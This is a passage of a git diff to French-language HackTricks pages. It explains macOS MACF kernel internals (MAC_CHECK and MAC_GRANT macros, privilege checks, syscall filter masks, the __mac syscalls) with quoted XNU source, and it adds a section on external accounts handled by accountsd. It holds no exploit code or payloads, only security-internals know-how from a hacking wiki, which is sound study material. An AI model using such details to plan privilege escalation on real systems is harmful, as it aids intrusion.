`mpo_policy_conf` et aussi Ă  cause du nombre de pointeurs NULL qui seront dans cette zone. + +De plus, il est Ă©galement possible d'obtenir la liste des kexts qui ont configurĂ© une politique en vidant de la mĂ©moire la structure **`_mac_policy_list`** qui est mise Ă  jour avec chaque politique qui est enregistrĂ©e. + +## Initialisation de MACF + +MACF est initialisĂ© trĂšs tĂŽt. Il est configurĂ© dans le `bootstrap_thread` de XNU : aprĂšs `ipc_bootstrap`, un appel Ă  `mac_policy_init()` qui initialise la `mac_policy_list` et quelques instants plus tard `mac_policy_initmach()` est appelĂ©. Parmi d'autres choses, cette fonction obtiendra tous les kexts Apple avec la clĂ© `AppleSecurityExtension` dans leur Info.plist comme `ALF.kext`, `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext` et `TMSafetyNet.kext` et les charge. + +## Appels MACF + +Il est courant de trouver des appels Ă  MACF dĂ©finis dans le code comme : **`#if CONFIG_MAC`** blocs conditionnels. De plus, Ă  l'intĂ©rieur de ces blocs, il est possible de trouver des appels Ă  `mac_proc_check*` qui appelle MACF pour **vĂ©rifier les permissions** pour effectuer certaines actions. De plus, le format des appels MACF est : **`mac___opName`**. + +L'objet est l'un des suivants : `bpfdesc`, `cred`, `file`, `proc`, `vnode`, `mount`, `devfs`, `ifnet`, `inpcb`, `mbuf`, `ipq`, `pipe`, `sysv[msg/msq/shm/sem]`, `posix[shm/sem]`, `socket`, `kext`.\ +Le `opType` est gĂ©nĂ©ralement check qui sera utilisĂ© pour autoriser ou refuser l'action. Cependant, il est Ă©galement possible de trouver `notify`, ce qui permettra au kext de rĂ©agir Ă  l'action donnĂ©e. + +Vous pouvez trouver un exemple dans [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_mman.c#L621](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_mman.c#L621): + +
int
+mmap(proc_t p, struct mmap_args *uap, user_addr_t *retval)
+{
+[...]
+#if CONFIG_MACF
+			error = mac_file_check_mmap(vfs_context_ucred(ctx),
+			    fp->fp_glob, prot, flags, file_pos + pageoff,
+&maxprot);
+if (error) {
+(void)vnode_put(vp);
+goto bad;
+}
+#endif /* MAC */
+[...]
+
+ +Ensuite, il est possible de trouver le code de `mac_file_check_mmap` dans [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_file.c#L174](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_file.c#L174) +```c +mac_file_check_mmap(struct ucred *cred, struct fileglob *fg, int prot, +int flags, uint64_t offset, int *maxprot) +{ +int error; +int maxp; + +maxp = *maxprot; +MAC_CHECK(file_check_mmap, cred, fg, NULL, prot, flags, offset, &maxp); +if ((maxp | *maxprot) != *maxprot) { +panic("file_check_mmap increased max protections"); +} +*maxprot = maxp; +return error; +} +``` +Qui appelle le macro `MAC_CHECK`, dont le code peut ĂȘtre trouvĂ© dans [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_internal.h#L261](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_internal.h#L261) +```c +/* +* MAC_CHECK performs the designated check by walking the policy +* module list and checking with each as to how it feels about the +* request. Note that it returns its value via 'error' in the scope +* of the caller. +*/ +#define MAC_CHECK(check, args...) do { \ +error = 0; \ +MAC_POLICY_ITERATE({ \ +if (mpc->mpc_ops->mpo_ ## check != NULL) { \ +DTRACE_MACF3(mac__call__ ## check, void *, mpc, int, error, int, MAC_ITERATE_CHECK); \ +int __step_err = mpc->mpc_ops->mpo_ ## check (args); \ +DTRACE_MACF2(mac__rslt__ ## check, void *, mpc, int, __step_err); \ +error = mac_error_select(__step_err, error); \ +} \ +}); \ +} while (0) +``` +Qui passera en revue toutes les politiques mac enregistrĂ©es en appelant leurs fonctions et en stockant la sortie dans la variable d'erreur, qui ne pourra ĂȘtre remplacĂ©e que par `mac_error_select` par des codes de succĂšs, donc si un contrĂŽle Ă©choue, le contrĂŽle complet Ă©chouera et l'action ne sera pas autorisĂ©e. + +{% hint style="success" %} +Cependant, rappelez-vous que tous les appels MACF ne sont pas utilisĂ©s uniquement pour refuser des actions. Par exemple, `mac_priv_grant` appelle le macro [**MAC\_GRANT**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_internal.h#L274), qui accordera le privilĂšge demandĂ© si une politique rĂ©pond avec un 0 : +```c +/* +* MAC_GRANT performs the designated check by walking the policy +* module list and checking with each as to how it feels about the +* request. Unlike MAC_CHECK, it grants if any policies return '0', +* and otherwise returns EPERM. Note that it returns its value via +* 'error' in the scope of the caller. +*/ +#define MAC_GRANT(check, args...) do { \ +error = EPERM; \ +MAC_POLICY_ITERATE({ \ +if (mpc->mpc_ops->mpo_ ## check != NULL) { \ +DTRACE_MACF3(mac__call__ ## check, void *, mpc, int, error, int, MAC_ITERATE_GRANT); \ +int __step_res = mpc->mpc_ops->mpo_ ## check (args); \ +if (__step_res == 0) { \ +error = 0; \ +} \ +DTRACE_MACF2(mac__rslt__ ## check, void *, mpc, int, __step_res); \ +} \ +}); \ +} while (0) +``` +{% endhint %} + +### priv\_check & priv\_grant + +Ces appels sont destinĂ©s Ă  vĂ©rifier et Ă  fournir (des dizaines de) **privileges** dĂ©finis dans [**bsd/sys/priv.h**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/priv.h).\ +Certaines parties du code du noyau appelleraient `priv_check_cred()` depuis [**bsd/kern/kern\_priv.c**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_priv.c) avec les informations d'identification KAuth du processus et l'un des codes de privilĂšge, ce qui appellera `mac_priv_check` pour voir si une politique **refuse** de donner le privilĂšge, puis il appelle `mac_priv_grant` pour voir si une politique accorde le `privilege`. + +### proc\_check\_syscall\_unix + +Ce hook permet d'intercepter tous les appels systĂšme. Dans `bsd/dev/[i386|arm]/systemcalls.c`, il est possible de voir la fonction dĂ©clarĂ©e [`unix_syscall`](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/dev/arm/systemcalls.c#L160C1-L167C25), qui contient ce code : +```c +#if CONFIG_MACF +if (__improbable(proc_syscall_filter_mask(proc) != NULL && !bitstr_test(proc_syscall_filter_mask(proc), syscode))) { +error = mac_proc_check_syscall_unix(proc, syscode); +if (error) { +goto skip_syscall; +} +} +#endif /* CONFIG_MACF */ +``` +Qui vĂ©rifiera dans le **bitmask** du processus appelant si l'appel systĂšme actuel doit appeler `mac_proc_check_syscall_unix`. Cela est dĂ» au fait que les appels systĂšme sont effectuĂ©s si frĂ©quemment qu'il est intĂ©ressant d'Ă©viter d'appeler `mac_proc_check_syscall_unix` Ă  chaque fois. + +Notez que la fonction `proc_set_syscall_filter_mask()`, qui dĂ©finit le bitmask des appels systĂšme dans un processus, est appelĂ©e par Sandbox pour dĂ©finir des masques sur les processus isolĂ©s. + +## Appels systĂšme MACF exposĂ©s + +Il est possible d'interagir avec MACF via certains appels systĂšme dĂ©finis dans [security/mac.h](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac.h#L151): +```c +/* +* Extended non-POSIX.1e interfaces that offer additional services +* available from the userland and kernel MAC frameworks. +*/ +#ifdef __APPLE_API_PRIVATE +__BEGIN_DECLS +int __mac_execve(char *fname, char **argv, char **envv, mac_t _label); +int __mac_get_fd(int _fd, mac_t _label); +int __mac_get_file(const char *_path, mac_t _label); +int __mac_get_link(const char *_path, mac_t _label); +int __mac_get_pid(pid_t _pid, mac_t _label); +int __mac_get_proc(mac_t _label); +int __mac_set_fd(int _fildes, const mac_t _label); +int __mac_set_file(const char *_path, mac_t _label); +int __mac_set_link(const char *_path, mac_t _label); +int __mac_mount(const char *type, const char *path, int flags, void *data, +struct mac *label); +int __mac_get_mount(const char *path, struct mac *label); +int __mac_set_proc(const mac_t _label); +int __mac_syscall(const char *_policyname, int _call, void *_arg); +__END_DECLS +#endif /*__APPLE_API_PRIVATE*/ +``` +## RĂ©fĂ©rences + +* [**\*OS Internals Volume III**](https://newosxbook.com/home.html) + +{% hint style="success" %} +Apprenez et pratiquez le hacking AWS :[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Apprenez et pratiquez le hacking GCP : [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Soutenir HackTricks + +* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) ! +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐩 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dĂ©pĂŽts github. + +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-users.md b/macos-hardening/macos-security-and-privilege-escalation/macos-users.md index 59c18274b..523d6d221 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-users.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-users.md @@ -1,8 +1,8 @@ -# Utilisateurs macOS +# Utilisateurs macOS & Comptes Externes {% hint style="success" %} -Apprenez et pratiquez le Hacking AWS :[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Apprenez et pratiquez le Hacking GCP : [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Apprenez et pratiquez le Hacking AWS :[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Apprenez et pratiquez le Hacking GCP : [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -10,13 +10,12 @@ Apprenez et pratiquez le Hacking GCP : * {% endhint %} - -### Utilisateurs communs +## Utilisateurs Communs * **Daemon** : Utilisateur réservé aux démons systÚme. Les noms de compte de démon par défaut commencent généralement par un "\_": @@ -33,16 +32,21 @@ for i in "${state[@]}"; do sysadminctl -"${i}" status; done; * **Personne** : Les processus sont exécutés avec cet utilisateur lorsque des permissions minimales sont requises * **Root** -### PrivilÚges Utilisateur +## PrivilÚges Utilisateur * **Utilisateur Standard :** L'utilisateur le plus basique. Cet utilisateur a besoin de permissions accordées par un utilisateur admin lorsqu'il tente d'installer des logiciels ou d'effectuer d'autres tùches avancées. Il ne peut pas le faire seul. * **Utilisateur Admin** : Un utilisateur qui opÚre la plupart du temps en tant qu'utilisateur standard mais qui est également autorisé à effectuer des actions root telles que l'installation de logiciels et d'autres tùches administratives. Tous les utilisateurs appartenant au groupe admin ont **accÚs à root via le fichier sudoers**. -* **Root** : Root est un utilisateur autorisé à effectuer presque n'importe quelle action (il existe des limitations imposées par des protections comme la Protection de l'Intégrité du SystÚme). +* **Root** : Root est un utilisateur autorisé à effectuer presque n'importe quelle action (il y a des limitations imposées par des protections comme la Protection de l'Intégrité du SystÚme). * Par exemple, root ne pourra pas placer un fichier dans `/System` +## Comptes Externes + +MacOS prend également en charge la connexion via des fournisseurs d'identité externes tels que FaceBook, Google... Le principal démon effectuant ce travail est `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) et il est possible de trouver des plugins utilisés pour l'authentification externe dans le dossier `/System/Library/Accounts/Authentication/`.\ +De plus, `accountsd` obtient la liste des types de comptes à partir de `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`. + {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)